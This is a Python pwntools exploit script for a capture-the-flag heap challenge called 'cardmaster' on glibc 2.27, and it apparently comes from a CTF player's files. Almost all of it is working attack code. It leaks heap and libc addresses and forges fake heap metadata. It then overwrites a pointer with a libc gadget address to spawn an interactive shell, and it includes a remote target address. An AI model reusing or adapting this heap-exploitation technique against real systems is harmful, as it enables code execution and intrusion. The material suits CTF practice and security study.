1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143
| from pwncli import * from ctypes import *
rand = cdll.LoadLibrary('./libc.so.6') rand.srand(0xDEADBEEF)
context.terminal = ["tmux", "splitw", "-h", "-l", "122"] local_flag = sys.argv[1] if len(sys.argv) == 2 else 0
if local_flag == "remote": addr = '173.41.149.110 8888' host = addr.split(' ') gift.io = remote(host[0], host[1]) gift.remote = True else: gift.io = process('./cardmaster') if local_flag == "nodbg": gift.remote = True init_x64_context(gift.io, gift) libc = load_libc() gift.elf = ELF('./cardmaster') cmd = ''' directory /mnt/f/Documents/ctf/glibc/glibc-2.27/malloc b *$rebase(0xAD8) # b *$rebase(0xC1A) # b *$rebase(0xC5F) # new b *$rebase(0x1231) # malloc b *$rebase(0x1218) # realloc b *$rebase(0x137B) # read b *$rebase(0xD87) # show # b *$rebase(0x10B3) # show_card b *$rebase(0x1144) # ret # b *$rebase(0xF80) # b *$rebase(0x105D) # b *$rebase(0xFB7) # mov to stack b *$rebase(0xB10) c '''
input_after_this = b'>>'
def add(size, range_, level, data): sla(input_after_this, b'2') sla(b'suit count:', str(size)) sla(b'digit range 1 - ?', str(range_)) sla(b'randomize level:', str(level)) if size != 0: sa(b'new suite set:', data)
def dele(idx): sla(input_after_this, b'2') sla(b'index', str(idx))
def edit(idx, data): sla(input_after_this, b'3') sla(b'index', str(idx)) sla(b'', data)
def show(): sla(input_after_this, b'3')
def shuffle(): sla(input_after_this, b'4')
def show_card(): sla(input_after_this, b'5')
key = '♥♠♦♣'
add(0x10, 1, 1, b'\x80')
add(0x0, 1, 1, b'\x00') add(0x0, 1, 1, b'\x00') show() ru(b'suit chara set:') heap_base = u64_ex(ru(b'\x0a', drop=True)) - 0x640 log_heap_base_addr(heap_base)
sla(input_after_this, b'1')
add(0x200, 1, 1, b'\x00') add(0x0, 1, 1, b'\x00') show() libc_base = u64_ex(ru(b'\x7f')[-6:]) - 0x3EBCA0 set_current_libc_base_and_log(libc_base)
fake_heap = heap_base + 0x1480 sla(input_after_this, b'1') sla(input_after_this, b'1') add( 0x400, 1, 1, flat( { 0x0: 0, 0x80: fake_heap + 0x170, 0x170: fake_heap + 0x250, 0x250: heap_base + 0x104B8, 0x330: heap_base + 0x100, 0x410: heap_base + 0x100, }, filler=b'\x00', ), )
sla(input_after_this, b'1') add(0x34, 1, 1, b'\x00')
add(0x0, 1, 1, b'\x00') add(0x0, 1, 1, b'\x00') add(0x0, 1, 1, b'\x00') add(0x0, 1, 1, b'\x00') add(0x0, 1, 1, b'\x00') add(0x0, 1, 1, b'\x00')
add(0x34, 1, 1, p64_ex(fake_heap + 0x80)) sla(input_after_this, b'1')
launch_gdb(cmd) add(0x34, 1, 1, p64_ex(libc_base + 0x10A38C)) show()
ia()
|